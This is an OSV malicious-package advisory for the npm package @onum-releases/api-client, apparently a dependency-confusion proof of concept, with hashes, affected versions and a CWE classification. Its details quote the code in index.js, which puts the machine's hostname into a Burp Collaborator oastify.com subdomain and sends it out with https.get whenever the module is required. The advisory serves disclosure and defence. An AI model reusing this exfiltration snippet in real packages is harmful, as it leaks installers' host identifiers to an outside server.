MAL-2026-6122

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@onum-releases/api-client/MAL-2026-6122.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6122
Published
2026-06-18T16:15:13Z
Modified
2026-06-18T17:16:47.694543862Z
Summary
Malicious code in @onum-releases/api-client (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (07908d7f0abe458955357ed6814b46c090c70e1b3d34be4dd1a5c02d2507127d)

On require(), index.js reads os.hostname(), embeds it as a subdomain label under a Burp Collaborator (oastify.com) host, and issues an https.get to that host (index.js lines 4-7: 'var host = \'api-client.\' + h + \'.200majoeu01dk02xnjdajro1isojc90y.oastify.com\'; https.get({ host: host, path: \'/api-client\', timeout: 4000 },...)'). Both the DNS resolution and the TLS SNI/Host header transmit the installer's hostname out-of-band to an attacker-controlled collaborator subdomain. Although package.json describes the package as a 'Security PoC placeholder - benign, no runtime payload', the shipped code does perform the exfiltration on every consumer that imports the module. The package appears to be a dependency-confusion proof-of-concept against the @onum-releases scope; regardless of intent, installers that pull it leak host identifiers to a third-party OOB server.

Database specific 
{
    "malicious-packages-origins": [
        {
            "sha256": "07908d7f0abe458955357ed6814b46c090c70e1b3d34be4dd1a5c02d2507127d",
            "source": "amazon-inspector",
            "modified_time": "2026-06-18T16:15:18Z",
            "versions": [
                "1.0.1"
            ],
            "id": "IN-MAL-2026-006992",
            "import_time": "2026-06-18T17:08:46.686385569Z"
        },
        {
            "sha256": "7486e72639cbc78438ba4c8f7168253dd1a518629215d0b47163a4a9e3b89511",
            "source": "amazon-inspector",
            "modified_time": "2026-06-18T16:15:15Z",
            "versions": [
                "1.0.3"
            ],
            "id": "IN-MAL-2026-006988",
            "import_time": "2026-06-18T17:08:46.42826456Z"
        },
        {
            "sha256": "c35e222a8741ac5fca65f719f1b8dfcd45e8604685f59825142082bcde5e49ed",
            "source": "amazon-inspector",
            "modified_time": "2026-06-18T16:15:13Z",
            "id": "IN-MAL-2026-006987",
            "versions": [
                "1.0.2"
            ],
            "import_time": "2026-06-18T17:08:46.365230644Z"
        }
    ]
}
References
Credits

Affected packages

npm / @onum-releases/api-client

Package

Name
@onum-releases/api-client
View open source insights on deps.dev
Purl
pkg:npm/%40onum-releases%2Fapi-client

Affected ranges

Affected versions

1.*
1.0.1
1.0.2
1.0.3

Database specific

cwes 
[
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@onum-releases/api-client/MAL-2026-6122.json"
indicators 
{
    "evidence_files": [
        {
            "sha256": "090b7902261322b21feecd5505a6ad2762da28a7218b2fc15d494b1dc21493c4",
            "tlsh": "9af0dce9d2b5b0503032a5c8e10e900863a3e0802241dec042afd0e92da1a282b06ef8",
            "path": "index.js"
        },
        {
            "sha256": "7befd8501ea4e5498d423db2604c3f2d1919227fa519dd619e712e5dbb8fd7e5",
            "tlsh": "c4c080200900e43314c5cf714db2ce5507394c1f2741f50c0713101485b67f364f578c",
            "path": "package.json"
        }
    ],
    "package_integrity": [
        {
            "hashes": {
                "sha512_sri": "sha512-SWuM3DCQALCOgcwaaL0jIBtZh8ATcrWerk4tNWV4FDtOE+mg5AyyiDGvMFN4bt2R3jL3Mg/jqbuaIdIYuEHPtg==",
                "sha1": "4b46a12a7d2ccd7453dedeb2d343487622eec538"
            },
            "filename": "api-client-1.0.1.tgz"
        }
    ]
}